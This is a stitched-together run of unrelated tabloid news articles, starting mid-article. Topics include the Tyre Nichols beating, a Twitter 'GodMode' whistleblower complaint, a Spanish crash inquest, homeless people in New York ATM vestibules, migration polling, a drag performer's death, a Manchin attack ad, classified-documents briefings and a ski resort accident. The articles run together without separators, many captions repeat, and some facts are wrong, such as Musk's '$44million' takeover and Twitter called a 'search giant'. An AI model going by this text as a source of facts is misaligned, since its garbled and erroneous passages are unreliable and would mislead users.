'He was a human pinata for those police officers,' fellow family attorney Antonio Romanucci said at a press conference. 'It was an unadulterated, unabashed, nonstop beating of this young boy for three minutes'

Crump said it was 'clear that he was struggling' in the video

The lawyers compared Nichols' case to that of Rodney King (pictured), who was brutally beaten by Los Angeles Police officers in 1991. He was later found dead in a swimming pool in 2012

"Once the video started and I heard my son's voice, I lost it."



The family of Tyre Nichols' speak out after viewing body camera footage of arrest that proceeded his death. @steveosunsami reports. https://t.co/iwMg2i1sOm pic.twitter.com/IkuSj4Kh6V  Good Morning America (@GMA) January 24, 2023

Nichols stepfather also said the five officers ordered his son to 'sit back up' when he would fall over and that they 'never rendered any aid,' he told GMA.

Crump told the outlet it was 'clear that he was struggling' in the video.

'He literally says in the first encounter: "I just want to go home,"' the lawyer recalled.

RowVaughn said that on the day of the arrest, her son was looking forward to a chicken she was going to cook for dinner that night.

'All my son was trying to do was come home,' RowVaughn said, who sobbed during the news conference and told reporters Nichols was less than 80 yards from home when Memphis police officers 'murdered him.'

'We're going to get justice for my son, Tyre, if that's the last breath I take,' she said.

Nichols - described by family as a 'good kid' who loved skateboarding, photography and his four-year-old son - was arrested after officers stopped him for reckless driving.

Five police officers, who are all African American, were terminated from the Memphis Police Department. Their names are: Tadarrius Bean (middle), Demetrius Haley (left), Emmitt Martin III, Desmond Mills Jr.(right) , and Justin Smith

All the officers, who were hired between 2017 and 2020, could face assault or homicide charges, District Attorney Steve Mulroy said (pictured L-R: Emmitt Martin III and Justin Smith)

The Memphis Police Department said they have met with the family and that the investigation is ongoing. In an earlier statement, the department admitted the five officers were terminated for 'multiple department policies,' including using excessive force, failing to intervene, and failing to render aid

Police said in a statement the day after the encounter that 'a confrontation occurred' as officers approached the vehicle and Nichols ran; they said officers caught up to him and that 'another confrontation occurred' while they were taking him into custody. Police said Nichols complained of shortness of breath and was taken to a hospital, where he died three days later.

Relatives have accused the police of beating Nichols and causing him to have a heart attack and kidney failure. Authorities have only said that Nichols experienced a medical emergency.

The family has ordered a private autopsy, which is expected to be released later today.

Rodney, who also wants the officers charged with first-degree murder, told reporters that his stepson had good reason to run from the officers.

Nichols' mother, RowVaugn Wells (pictured) was inconsolable at the press conference. She also said she hopes the five officers face first-degree murder charges

His sister, Kenyana Dixon (pictured) said the officers approached him in an unmarked car and were wearing hoodies

'Our son ran because he was scared for his life,' Rodney Wells said. 'And when you see the video, you'll see why he was scared for his life.'

Attorneys said Nichols can be heard on the video crying out for his mother.

After the family's news conference, about 10 activists walked into the lobby of Mulroy's office to demand answers as to why the district attorney was withholding the video from the public for up to two more weeks and why he hadn't charged the officers.

'People want to see what happened to Tyre,' activist Pamela Buress said. 'And we're angry about it.'

Crump also said the officers' race was irrelevant and that black and brown motorists often are treated differently than whites, regardless of the officers' own race, and that the pain of Nichols' death 'is just the same.'

The Nichols case is the latest high-profile death to rattle the city. Since November 2021, Memphis has seen the fatal shooting of rapper Young Dolph in a daytime ambush at a bakery, a crime rampage in which a man has been charged with fatally shooting three people and wounding three others, the killing of a United Methodist Church pastor during a carjacking in her driveway and the early-morning kidnapping of a jogger whose body was later found near a house.
Twitter GodMode - an internal tool used by hackers to tweet from high-profile accounts during the site's massive security breach in 2020 - is still available to all of the company's engineers, a whistleblower has claimed.

The bombshell complaint was reportedly filed this month with the Federal Trade Commission (FTC), and coincides with previous claims made by the company's fired head of security, Peiter 'Mudge' Zatko.

If activated, the program in question, tabbed 'GodMode' by staffers for its outsized power, gives any engineer at the company the ability to tweet from any account, at their own discretion.

The program's existence came to light in July 2020 following a high-profile hack that saw a great number of high profile accounts compromised, masterminded by a then-17-year-old Graham Clark.

The bombshell complaint was reportedly filed with the Federal Trade Commission this week, and coincides with claims made by Peiter 'Mudge' Zatko, the company's fired head of security

Accounts seized by Clark and his cronies included Barack Obama, Jeff Bezos, and Bill Gates, and a then campaigning Joe Biden. The breach was only made possible by Twitter's secret backdoor tool, which at the time was unknown to the greater public.

After the hack, Twitter said that it had and taken steps to address any security concerns that may have led to its systems being breached.

Now, more than two years later, an insider familiar with the innerworkings of the San Francisco company contends that is not the case, according to a new report published Tuesday in The Wall Street Journal that laid bare the new complaint.

In it, the unnamed whistleblower alleged that aside from changing the name of the tool - from GodMode to 'PrivilegedMode' - the company has continue to allow any of its engineers to freely access the application at will.

Perhaps most troubling, though, is that the complaint alleges that 'Twitter does not have the capability to log which, if any, engineers use or abuse' the program, which still gives staffers the ability to take over pages of any of the site's 450million users.

The program's existence came to light in July 2020 following a high-profile hack that saw a great number of accounts compromised, only made possible by Twitter's secret backdoor tool

The whistleblower spoke with The Post on the condition of anonymity due to other employees allegedly being 'threatened and harassed' after airing concerns over the company's security - which the insider said has worsened under new boss Elon Musk.

The Post said that by the time they spoke with the source, the insider had already aired their concerns to both the Senate Judiciary Committee and the House Energy and Commerce.

Only a few months earlier, Zatko, a 51-year-old celebrity hacker hired by then-CEO Jack Dorsey in late 2020, told the committee in official testimony that the social network 'was over a decade behind industry security standards,' as well as 'a ticking bomb of security vulnerabilities.'

Fired from the firm in January of that year, Zatko, claims that Twitter had 'extreme, egregious deficiencies' in its protections against hackers saw him reach $7million settlement with the search giant last September.

At the time, Zatko's claims were shot down by Dorsey's recently fired replacement Parag Agrawal, who was nixed by Musk after the latter's $44million takeover of the company in October.

The hack was masterminded by then-17-year-old Graham Clark, who is currently serving a three-year sentence for hijacking accounts belonging to Joe Biden, Barack Obama, and others

Twitter previously said Zatko was fired 'for ineffective leadership and poor performance' and that his whistleblower complaint 'is riddled with inconsistencies and inaccuracies and lacks important context.'

His settlement was also first reported by the Journal, which reported the former staffer agreed to a nondisclosure agreement that forbids him from speaking publicly about his time at Twitter or disparaging the company.

The settlement resolved a dispute about unpaid compensation, but did not prevent him from filing a whistleblower complaint, which he did shortly after reaching the agreement with Twitter, in which he aired similar concerns as the new complainant.

Notably, the new complaint was filed in October - immediately after billionaire Musk, 51, purchased the company.

The insider said the company's questionable security practices have since worsened under new boss Elon Musk

Lawyers have also requester further information on any reports about privacy vulnerabilities that Zatko may have sent to Twitter CEO Parag Agrawal or other top employees and are asking the company to provide more information about the section of an annual report that discusses fake accounts. Agrawal was one of the first fired by Musk during his takeover last year

The complaint contends that even with Musk's arrival, Twitter's practices in regards to security have not been bolstered as previously claimed, and could see the company soon find itself in hot water much as it did in 2020 after the hack, which was carried out by a group of friends with no links to state or organized crime.

'After the 2020 hack in which teenagers were able to tweet as any account, Twitter publicly stated that the problems were fixed,' read the new complaint, which, like Zatkos, was filed by nonprofit law firm Whistleblower Aid.

'However,' the filing continued, 'the existence of GodMode is one more example that Twitter's public statements to users and investors were false and/or misleading.'

The Twitter logo is seen outside their headquarters in downtown San Francisco, California

Attorneys for the insiders went on to assert that their client 'has a reasonable belief that the evidence in this disclosure demonstrates legal violations by Twitter.'

When asked the House Energy and Commerce panel for the reason he believed staffers have yet to nix the program, the whistleblower said it was chiefly due to the fact that it allows engineers the ability to tweet on behalf of advertisers who may be 'unable to do it themselves.'

According to the FTC filing, the complainant included screenshots of code that showed the program in question still being accessible.

The program line that allows a user of the to to delete tweets, the complaint said, contains the capitalized warning: THINK BEFORE YOU DO THIS.'

The whistleblower said that the only means of prohibiting engineers from using GodMode is its removing a line of code from the program, which can be easily added back in at any point by any staffer.

'They removed this from one interface, but it still existed in other ways. They just changed the lock on one of the many front doors,' the whistleblower wrote.

The new complaint serves to intensify the FTC's ongoing probe into security concerns over what is now Musk's Twitter, launched last year following Zatko's assertions. The fruits of that investigation are still confidential.
A British music teacher who reportedly 'beat his girlfriend to death before killing himself' died from multiple traumatic injuries caused by a car crash, an inquest heard today.

Caspar Veres, 28, was involved in a deadly collision in the Algeciras region of Spain on September 25, 2020, the hearing at County Hall in Maidstone was told.

The former public schoolboy had previously lived with his family in Stanmore, Greater London, but had been travelling from country to country for a number of years, coroner Sarah Clark said.

Ms Clark said the inquest had been pushed back due to delays in documents arriving from officials in Spain and that no one had been able to track down Mr Veres' family.

Caspar Veres, 28, was involved in a deadly collision in the Algeciras region of Spain on September 25, 2020, the hearing at County Hall in Maidstone was told

She said: 'The inquest was opened on October 27, 2020 but it was delayed due to waiting for documents to arrive from Spain.

'We haven't received all of them but we have enough to hold an inquest. We were delayed in obtaining the documents as Spain requires the family to consent to release them.

'There are no family here today. We attempted to make contact with the family but we were unable to do so.'

The inquest heard the coroner had still not received all the documents from Spain but had enough to conclude an inquest.

Ms Clark said the medical cause of death listed on Mr Veres' death certificate, which was issued in Spain, was 'polytraumatism' - which occurs when a person experiences injuries to multiple body parts and organ systems.

She said she did not have enough information to reach a short-form conclusion, so opted to reach a narrative conclusion instead.

Ms Clark said: 'I have little information in relation to the circumstances leading to Caspar's death.

'The most I know is that it was a road traffic collision. So rather than reaching a conclusion of 'accident', I will reach a narrative conclusion.

'He died as the result of a road traffic accident in Spain on September 25, 2020.'

Firefighters cut his body from the wreckage on the A-381 highway before discovering Ms Cochet's body in the back of the vehicle

According to news reports at the time of the crash in September 2020, Mr Veres killed his French partner Delphine Cochet, 41, before smashing into a lorry and killing himself.

The expat, who was born on August 16, 1992, had posted a video on social media suggesting he had struggled through one of the strictest lockdowns on the continent.

In addition, he had a history of mental health issues which may have been exacerbated by the Covid-19 restrictions.

Firefighters cut his body from the wreckage on the A-381 highway before discovering Ms Cochet's body in the back of the vehicle.

An autopsy found she had been beaten to death several hours prior to Mr Veres dying in the crash.

At the time, Mr Veres - a former Leeds University student - had been awaiting trial for assaulting two police officers around seven weeks earlier.

He 'went berserk' at a Civil Guard station in the fishing village of Barbate near Cadiz on August 6, 2020 after turning up in a distressed state.

Ms Cochet told police Mr Veres had stopped taking drugs which calmed his mental disorder, but he was not sectioned and returned to his home in Spain on bail.

The 'free spirit', who described himself as a drifter and a minstrel, had written 'The Quarantine Song' during lockdown.

In a video posted on social media, he sings: 'From dawn to dusk you can hear the sirens scream in quarantine.

'Restlessness is brewing and I'm starting to feel mean in quarantine.'

The former St Albans School pupil also created a 'Coping Calendar' which recommended 30 actions to 'keep calm, stay wise and be kind' during the pandemic.

A Spanish lorry driver, 43, also injured in the crash, was reportedly in a serious condition but expected to survive.

Police were reported as saying at the time were not looking for anyone else in connection with Delphine's death.

For confidential support call the Samaritans on 116123 or visit a local Samaritans branch, see www.samaritans.org for details.
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Photos show scores of homeless people camped out and sheltering from the cold in ATM vestibules across New York City, as banks struggle to battle 'crime and vagrancy' that has run rampant at their branches.

From Uptown to Downtown and throughout Midtown, across Citibank, Chase, TD, Wells Fargo, and Bank of America, the sight of homeless people slumped over asleep in ATM vestibules has become commonplace in the Big Apple.

Residents have reported regularly seeing drug use in the vestibules, finding them strewn with trash and sleeping bodies, and harassed or even assaulted by vagrants who have taken over the spaces.

Banks have been forced to hire security guards to monitor ATMs after dark, and last week Chase Bank announced it would be closing some of its ATM vestibules after 5pm to combat the situation.

A homeless man sleeps at in a Santander bank ATM vestibule on Canal Street

Two homeless people slumped over and sleeping at a TD ATM near Penn Station

Last night at a Santander ATM in SoHo, a man could be seen sleeping on his back - hands folded peacefully over his stomach - while his discarded shoes, clothes, and shopping cart full of possessions blocked the entrance.

At a TD Bank vestibule near Penn Station, a homeless man leaned against a mural of a city park, staring destitute out the window while his sleeping bag was spread out around him.

At a separate Midtown TD, a man was laid back supine and sleeping on a bench inside the ATM, while next to him another was slumped down and passed out face down over his knees.

And at a Citibank ATM on Madison Avenue, a homeless person barricaded themselves in a corner behind a wall of suitcases and trash bags.

A homeless man sits with his sleeping bag at a TD Bank ATM in Midtown

A homeless person huddles in the corner of a Madison Avenue Citibank ATM

A homeless person huddled in the cold outside a Union Square Chase Bank ATM

The constant presence of homeless people making homes out of ATM's vestibules has left customers fearing for their safety as they try to collect their own money.

Just last week, a customer was scalded when a crazed man tossed a cup of boiling hot coffee in his face in an unprovoked attack at a Chase Bank ATM in midtown.

NYC residents have demanded why banks like Chase - which controls $3trillion - have allowed their ATMs to devolve into dens of criminal danger.

'This is the @Chase ATM lobby in #TimesSquare at 8 a.m. 17 Jan, 2023,' wrote one Twitter user, sharing a photo of a filth strewn ATM vestibule. 'This is a financial institution with $3.31 trillion in assets. It seems like they could do better than this.'

After a customer complained about how early Chase ATMs were closing last week, the bank responded by disclosing they'd decided to close some locations early over its homelessness problem.

'Our apologies. We decide to close several ATM vestibules at 5PM or 6PM, aligning the hours of service to that of the normal branch hours, due to rising crime and vagrancy that occurred in these previously 24/7 vestibules,' the bank wrote.

But customers were not pleased that Chase's strategy for battling its vagrancy problem was to inconvenience customers.

'I thought 10:00pm was an inconvenience, but 5pm is ridiculous. You need to reimburse your customers for additional fees because you can't provide security at these locations,' one customer tweeted.

Chase bank declined to comment on how many branches or neighborhoods would be effected by its closures.

'We review our ATM hours on a case-by-case basis and for a variety of reasons may decide to temporarily close some overnight,' the bank said in a statement to DailyMail.com

A homeless man sits inside an ATM vestibule downtown near Union Square

A security guard watches over a Chase Bank ATM in Midtown

A homeless person camped outside a Capital One Bank ATM near Union Square

Mayor Eric Adams told a press conference Monday he was disappointed with the bank's solution, adding that he wanted to create a safer environment.

'How about, people don't want to walk into their ATM and see someone urinating, see someone screaming and yelling - people don't want to go through that,' he said.

'And that is what I'm saying I need to stop. I don't want my ATMs closing down. I don't want people leaving our city. We have to create an environment where people are safe and feel safe.'

The New York Bankers Association, which represents banking institutions across the state, said in a statement, 'Ensuring the safety and security of customers and employees has always been a top priority of the banking industry.'

'While we have not conducted a recent survey of our members on this topic, as issues arise NYBA and our members evaluate possible trends with the intention of working with banks, law enforcement and the local community toward solutions.'
The number of people in Latin America and the Caribbean who wish to migrate has jumped this past decade to 242 million, many eyeing the US, heightening fears about the border crisis.

In 2011, only 18 percent of people in Latin America and the Caribbean wanted to permanently leave their homes. By 2021, that had risen to 37 percent of the region's 655 million people, Gallup polling shows.

The desire to migrate rose faster in South America than anywhere else in the world. By the end of 2021, the share of Latinos wishing to migrate was on par with those in poverty-wracked sub-Saharan Africa.

In some South American nations  Honduras, Ecuador and the Dominican Republic  as much as half of the total population expressed a desire to move and live abroad permanently.

In 2011, only 18 percent of people in Latin America and the Caribbean wanted to permanently leave their home countries. By 2021, that had risen to 37 percent of the region's 655 million people, a Gallup survey shows

The survey comes amid record numbers of migrants trying to enter the US irregularly from Mexico, with Republicans criticizing President Joe Biden, a Democrat, over what they call his 'loose' or 'open' border.

Dan Stein, president of the Federation for American Immigration Reform, a right-leaning advocacy group, said the survey revealed 'enormous pent-up demand' to migrate north to the US.

'We can see how President Biden has created a dangerous and volatile situation as every month, millions more formulate the intentions and plans to try to move,' Stein told DailyMail.com.

Migrants come from South America and the Caribbean in search of a better life for them and their families. Many are fleeing corrupt and inept leftist governments in such nations as Venezuela, Cuba and Nicaragua.

But border locals and critics of the immigration policy view the current numbers as unsustainable and balk at the prospect of hundreds of millions more also laying plans to head north.

Globally, the desire to migrate has reached 'decade-high levels' in Latin America, sub-Saharan Africa, Southeast Asia and other regions, said Gallup, which polled 127,000 people aged 15 and older across 122 countries last year.

The US remains the favored destination for the world's migrants, though the share eyeing America has fallen slightly this past decade to 18 percent

In some South American nations  Honduras, Ecuador and the Dominican Republic  as much as half of the total population expressed a desire to move and live abroad permanently

Asylum-seeking migrants from Venezuela cross the Rio Bravo river to turn themselves in to US Border Patrol agents to request asylum in El Paso, Texas, late last year

President Biden, in the White House this month, is under fire over his border policy

Still, not everyone with a desire to migrate is able to do so, researchers added.

The US remains the favored destination for the world's migrants, though the share eyeing America has dropped slightly to 18 percent this past decade. Canada, Germany, Spain and France round out the top five destinations.

In previous surveys, Gallup has found that America was the favored end point for more than a third of Latin America and the Caribbean's would-be migrants.

The survey was released on Tuesday amid a surge of Cubans and Haitians traversing the Caribbean by boat to reach Florida's shores, and record flows of people trying to cross the southwestern border.

The border city of Yuma, Arizona, is at breaking point with the unprecedented flow of migrants leaving the community at the brink of collapse and hospitals and food banks overloaded, local officials say.

Yuma County Supervisor Jonathan Lines has slammed the Biden administration for its handling of the border crisis and said his county will crumble as it can't support the cascading flow of migrants.

Customs and Border officials say there were 251,487 migrant encounters at the border in December. That's the highest figure for a single month ever, and brings the latest three-month total up to 717,600.

Thousands of Venezuelans rallied against the government of Nicolas Maduro and demanded salary increases in Maracaibo this week. Millions have spilled across the country's borders in recent years

Military police frisking a group of men at a checkpoint during a special operation against criminal gangs in Tegucigalpa, Honduras, last month. Many people wish to escape poverty and insecurity across Central America

Last month saw a surge in unauthorized immigration due to uncertainty over Title 42, a Trump-era policy that has expelled migrants at the border since the start of the pandemic.

Some 5 million migrants have crossed over the US southern border since January 2021 when the Biden administration took over the White House, according to the agency.

The Biden administration has launched new schemes to allow more Latinos into the US legally and advised unauthorized migrants to stay at home, but Republicans still blame him for unruly scenes at the US-Mexico frontier.

Stein said Biden's plan to 'parole in more people' was no solution.

'That merely incentivizes more to come until conditions in the US replicate those of the sending nations,' he told DailyMail.com.
Paris, the city of love, was about as loving as Wilmington in Delaware

Analysis of tweets from around the US and the world has revealed which states are most likely to publicly express their love to each other.

Residents of West Virginia and Arkansas shared more tweets containing the words 'love you' than those of any other state - while Massachusetts and Idaho were the least loving.

Globally it was found that some of the most adoring tweets came from Latin America, with around 2,000 in every 100,000 tweets from Guatemala, Honduras, and Bolivia containing expressions of love.

The results were contained in maps prepared by Crossword Solver, which analyzed geo-tagged tweets across the world to see how the proportion containing 'love you' - or some variation including those involving heart emojis - differed.

Map of the most loving states in the US: Mountain states - including Utah, Montana, Wyoming and Colorado - appeared to rank highest

A ranking of the most loving states. West Virginia and Arkansas shared more tweets containing the words 'love you' than any other state

Overall levels of endearment in the US were much lower than hotspots in South America and parts of Asia.

However, within the US, Mountain states appeared to have some of the highest rankings, with Utah, Montana, Wyoming, Colorado and South Dakota posting 583, 577, 412, 403 and 465 affectionate tweets per 100,000 respectively.

Another region of greater loving was the South - Arkansas, Mississippi and Alabama had 612, 413 and 485 each.

The map of US states seemed to suggest weather or affluence played no major role in how likely people were to share their love on Twitter. Many states in the north, south, east and west, all faired quite similarly. Arizona and New Jersey were almost neck and neck.

Other countries that had especially high numbers of loving tweets were Kazakhstan, Russia and Saudi Arabia, with 1,125, 830 and 955 respectively.

Map of the most loving countries in the world: Kazakhstan, Russia and Saudi Arabia were especially high with 1,125, 830 and 955 affectionate tweets per 100,000 respectively

Map of the most loving countries in the world: Paris in France, known informally as the 'city of love', failed to live up to its reputation, and according to the list is about as loving as Wilmington in Delaware

El Paso in Texas was the most loving city, with 521 loving tweets per 100,000, whereas San Jose in California was one of the least, with 229. Madison in Wisconsin was the least loving, according to the study, with just 201.

Paris in France, known informally as the 'city of love', failed to live up to its reputation, and according to the list is about as loving as Wilmington in Delaware.

Herriman, a city in southwestern Salt Lake County, Utah, with a population of around 60,000 had an extremely high ranking of 1,302, but its not clear why it was deemed less loving than El Paso in overall US rankings.

In keeping with stereotypes, New York City was fairly low down the list, with 262 'love you' tweets per 100,000.

Cities in some countries had extremely high numbers of tweets containing love, and again, many originated in Central and South America. Cochabamba in Bolivia had 2,878, Villa Nueva in Guatemala had 2,508 and San Pedro Sula in Honduras had 2,379 per 100,000.

A couple of cities in Asia stood out as being especially loving, those included Manilla in the Philippines and Busan in South Korea. Oran in Algeria and Sidon in Lebanon were also very high on the leaderboards.
A paedophile drag queen is at centre of a police investigation after he was found dead in the street in full stage costume.

Jeweller Darren Moore, 39, a convicted sex offender, had been reported missing after disappearing on a night out with friends.

Moore, known as Crystal Couture, was well known on the gay scene across the UK.

He was wearing a blonde wig, full make-up, false breasts, a yellow dress with frilly sleeves and matching handbag on the night he went missing.

Darren Moore, who also performed under the name CC Quinn, was found dead in Cardiff city centre in the early hours yesterday

Jeweller Moore, 39, a convicted sex offender, had been reported missing after disappearing on a night out with friends

Moore, who also performed under the name CC Quinn, was found dead in Cardiff city centre in the early hours yesterday.

Police said they were investigating a 'sudden and unexplained' death and asked for help from anyone with information.

The area was cordoned off on Tuesday and flowers were laid at the spot where Moore was found dead.

Members of the LGBT community in Cardiff are claiming on social media that he was the victim of a vicious hate crime but police have not given a cause of death.

Moore, who also performed under the name CC Quinn, was found dead in Cardiff city centre in the early hours yesterday.

Moore changed his name to when he married his long term partner also called Darren

As a teenager, and under his previous name of Darren Sewell, he was convicted of four counts of rape on a boy under the age of 16 in Barry, South Wales, and sent to a Young Offenders' Institution for three years.

He was banned from having contact with children but in 2011 he was convicted of breaching the order by working as a gymnastics and dance tutor with children in Cardiff.

He was sentenced to a three-year sex offender's treatment programme, a 24-month supervision order, 300 hours unpaid work and a six-month curfew on electronic tag.

Moore rose to national prominence in 2018 when he represented British Airways at a Pride Festival in Brighton.

He was hired as a drag queen on the British Airways float that toured the seaside city.

Moore was seen wearing a cabin crew costume and standing among British Airways ambassadors waving the rainbow flag celebrating the LGBTQ+.

Wearing a thick black wig, thick make-up, false eyelashes, stockings, high-heeled shoes and a blue cabin crew costume, Moore posed for publicity photographs with full-time British Airways staff.

Moore, 39, a convicted sex offender, had been reported missing after disappearing on a night out with friends

The airline was unaware Moore, who was using the name Sewell at the time, had convictions for raping an under-age boy when he was 18.

British Airways said Moore did not work for the airline but was brought in by a 'third party entertainment agency who supplied a number of people for the event.'

Crystal Couture's official website describes his act as 'for audiences large and small and of all ages' and 'available for wedding, christening, birthdays, and celebrations if (sic) all types'.

But audience members walked out of a 'Pride Without Prejudice' event in 2018 when he made insensitive jokes about prolific child abuser Jimmy Saville.

Moore changed his name to Moore when he married his long term partner also called Darren.

He ran a company called Blingblingbling and exhibited his jewellery at RuPaul's annual Dragcon event in London in 2020.

A close friend posted an appeal when he went missing saying: 'Darren was last seen in Cardiff around 5am this morning and hasn't been seen since.

The scene in Windsor Place has been cordoned off, South Wales Police said

'His phone is off and the location to find his phone.

'Friends who he was out with said he just left on his own and they haven't seen him since. His partner is absolutely beside himself.

'This is not like Darren at all and his family are worried sick for his safety.'

After his body was discovered a friend said on Facebook: 'I'm honestly heartbroken. You were the sweetest, craziest and most beautiful soul I've had the pleasure of calling my dear friend. You could make me smile on the darkest of days, I will miss you forever.'

A police cordon is in place while enquiries continue at the scene on Windsor Place

Cardiff gay bar the Golden Cross tweeted under the headline Rest in Fabulousness: 'We are deeply saddened to learn of Darren Moore's passing. He was the life and soul of the Party and would always be entertaining the masses, usually accompanied with a round of shots.'

Meanwhile, a GoFundMe has raised more than 4,000 to go towards giving 'Darren the biggest send off'. The memorial fund paid tribute to his 'larger than life character and charisma'.

South Wales Police said the 39-year-old man from Newport, Gwent, was found dead after an 'incident' in Windsor Place, Cardiff, on Sunday evening.

A spokesman said: 'South Wales Police is continuing to investigate the sudden and unexplained death of a man in the Windsor Place area of Cardiff city centre yesterday evening (Sunday, January 22).

'Although he has not yet been formally identified, he is believed to be a 39-year-old man from Newport.

Moore had worked with TV's RuPaul and was well known on the gay scene across the UK

'A post mortem examination is being carried out and next of kin are being kept updated.

Superintendent Michelle Conquer, Head of Operations at Cardiff and Vale BCU, said: 'We understand there is shock and upset in the local and wider community following the sudden and unexplained death of a man in Cardiff city centre on Sunday.

'While an investigation is on-going, our Neighbourhood Policing Team as always will continue to provide a visible police presence in the city centre.

'A police cordon is in place while enquiries continue at the scene and we thank the community for their support at this time.

'We urge anyone with concerns to approach one of our officers or contact us by one of the following means.'
The National Republican Senatorial Committee (NRSC) is gearing up for 2024 and putting conservative Democrat Sen. Joe Manchin in its crosshairs before he's even said whether he'll run for reelection.

In a new ad called 'Maserati Manchin,' the Senate GOP's campaign arm highlights Manchin's luxury vehicle, his $700,000 houseboat, and DailyMail.com's reporting that he has blown over $1 million in campaign donation on fine dining.

The 75-year-old moderate is likely the only one from his party who can hold on to West Virginia's Senate seat, and the ad looks designed to dissuade him from running.

'Life's very good for Democrat Joe Manchin,' the ad says, 'While West Virginians get stuck with higher prices, smaller paychecks, open borders.'

Joe Manchin is likely the only one from his party who can hold on to West Virginia's Senate seat and the ad looks designed to dissuade him from running

'Joe Manchin, Joe Biden, living it up,' the ad says, along with a shot of clinking champagne glasses.

Manchin bought the houseboat, which he docks in Washington, D.C, in 2014 for $220,000. It is said to be valued at approximately $700,000. He also drives a Maserati Levante, an $80,000 SUV.

In an accompanying mailer, the NRSC hit out at Manchin for attending the World Economic Forum in Davos, Switzerland, last week. 'Instead of working in West Virginia, Joe Manchin is hanging out in Switzerland,' it reads.

Manchin has remained coy about his 2024 plans, and on Sunday even left the door open to a potential bid for the presidency.

Asked Tuesday by DailyMail.com when the public could expect to hear more about his 2024 plans, Manchin deadpanned: Probably 2024.

His remark came after Cook Political Report released its initial 2024 Senate ratings putting Manchin's seat in the 'toss-up' category, along with Arizona independent Sen. Kyrsten Sinema's and Ohio Democratic Sen. Sherrod Brown's.

Manchin drives a Maserati Levante, an $80,000 SUV

He did, however, rule out running for governor, a seat he held from 2005-2010.

'So everything on the table,' Todd said. 'There's basically only one other thing, the presidency. Is that something you would do outside the Democratic party if you did?'

'The only thing I can tell you is what I will do is whatever I can, when I make my decision, what I think is the best that I can support and represent the people of West Virginia but also be true to this country and the constitution of this country,' Manchin replied. 'I'm going to do everything I can to make sure that, when I make my decision, I make it based on what's best, what I think I can do to support, and best for my country and my state.'

Meanwhile, contentious races are beginning to heat up in the 2024 race for Senate control, which currently favors Dems 51-49.

Manchin bought the houseboat, which he docks in Washington, D.C., for $220,000. It is said to be valued at approximately $700,000

Climate protesters swarm Manchin's houseboat

In swing state Virginia, Democrats breathed a sigh of relief when Sen. Tim Kaine announced he would run for reelection after 'grappling' with the idea. In Michigan, Sen. Debbie Stabenow dealt Democrats a blow by announcing her retirement at the end of her term.

Montana, Nevada, Ohio, Pennsylvania, West Virginia and Wisconsin are all swing states with Democratic incumbents who will have a tough battle on their hands if they choose to seek reelection.
The White House has accused members of the media of seeking to milk daily revelations about President Joe Biden's possession of classified documents for their own benefit  amid pressure to provide straight answers on camera about the state of the matter.

White House Press Secretary Karine Jean-Pierre faced calls to reveal more details about the documents discovered at Biden's Wilmington home Friday  as she once again referred reporters' questions to the Justice Department.

Another White House official, Ian Sams  who has been speaking on behalf of the White House counsel amid the ongoing probe  on Monday faced similar demands in an off-camera 'zoom' setting.

'In every presidency, you know, there are many people out there in the media who sort of try to stir up controversy to get attention or  or time on camera,' he scolded, when asked about the criticism, and whether he himself would provide an on-camera briefing. (He sat for an MSNBC interview earlier Monday.)

President Joe Biden has taken a few questions on document discoveries in his home and Penn Biden office. But the White House has been referring a host of questions about classified materials found there to the Justice Department

His broadside came on a day when Jean-Pierre got grilled on whether Biden was 'surprised' by the latest document discovery following Friday's FBI search.

'The underlying issue that we're talking about here is that as soon as the President's personal team noticed something, they immediately and promptly and transparently disclosed that to the proper authorities,' he continued.

'They noticed a document with a classified marking; they immediately contacted the appropriate authorities. And ever since that moment, they have been and we, as the White House, have been fully cooperative with the proper reviews throughout this process. That's what we're talking about,' he insisted.

Sams, who took his new role in anticipation of facing intense House GOP probes, said the office tried to provide 'public information as it's appropriate, consistent with that ongoing investigation to respect the integrity of that investigation,' and repeated Biden's refrain of seeking an independent DOJ.

He also took a veiled shot at Donald Trump, saying: 'And I know for, you know, a lot of you guys who have been covering this for the last few years especially, that may be a foreign concept.'

His slap came on a day when Fox News correspondent Peter Doocy nearly got a rise out of Jean-Pierre by asking: 'When you found out that the FBI located even more Classified Materials in Wilmington, which four letter word did you use?'

'Oh my goodness,' she responded.

White House Press Secretary referenced a separate off-camera briefing when asked questions about the documents Monday

'When you found out that the FBI located even more Classified Materials in Wilmington, which four letter word did you use?' asked Fox News correspondent Peter Doocy

Pictures of the entrance to President Joe Biden's lake front home in Wilmington, DE. FBI agents searched the premises on Friday. There are calls to search Biden's Rehoboth Beach house

He made other efforts to try to knock her off her talking points  just as journalists from CBS News, ABC, NBC and other outlets have done.

Peter Doocy wanted to know if there was 'precedent for people running for president after the FBI searched their sock drawer?'  in a reference to the 13-hour search, which the White House counsel's office said included every room in Biden's home.

That also didn't spur much of a reaction from Jean-Pierre. 'Here's what the president's going to focus on. He's going to focus on continuing to deliver for the American people. That's his focus. That's what he focuses on every day,' Jean-Pierre responded.
A GoFundMe page has raised more than $74,000 towards a goal of $100,000

A GoFundMe page has raised more than $74,000 towards a goal of $100,000

Dave managed to shield one daughter but the other sustained significant injuries

A brave father lost both of his legs after trying to defend his two young daughters when a mechanical road snow blower crashed into them at a ski resort in Northern California.

Dave Miln and his wife Clare were taking three-year-old Isla and one-year-old Anna to ski lessons at Mammoth Mountain on the morning of December 15 when the vehicle ran into them.

The Australian Defence Force veteran, who had been living in San Diego, California, threw himself over the children to try to stop them from being pulled into the machine.

He managed to keep Anna under his body, but Isla sustained significant injuries, with Dave trapped in the machine for more than an hour until rescuers were able to free him and relocate to a hospital. Dave remained conscious throughout the experience.

Pictured: Dave Miln after surgery in hospital. He and his wife Clare were taking three-year-old Isla and one-year-old Anna to ski lessons at Mammoth Mountain on the early morning of December 15 when the vehicle ran into him and his family

Pictured: Isla in hospital. Isla suffered breaks in both of her legs and her pelvis, as well as other wounds. She had several surgeries and is expected to make a full recovery

Clare raised the alarm and authorities were able to rush Isla over to a local hospital, accompanied by her mother and sister, according to a GoFundMe page started by family friend Tsen Bogan.

Dave's injuries resulted in a double amputation - one above the knee of the left and one below the knee on the right.

He also broke both femurs, his pelvis, a number of his lower vertebrae, a sacral and three ribs.

Dave underwent 10 different surgeries in three weeks and still has many more to come, according to Bogan.

Isla suffered breaks in both of her legs and her pelvis, along with other wounds. She has undergone several surgeries and is expected to make a full recovery.

Pictured: A snow blower (file photo). Dave was trapped in the machine for over an hour until rescuers were able to free him and relocate to a hospital, 'remaining conscious the whole time'

Pictured: Mammoth, California (file photo). A GoFundMe account for the family has so far generated more than $74,000 towards a goal of $100,000

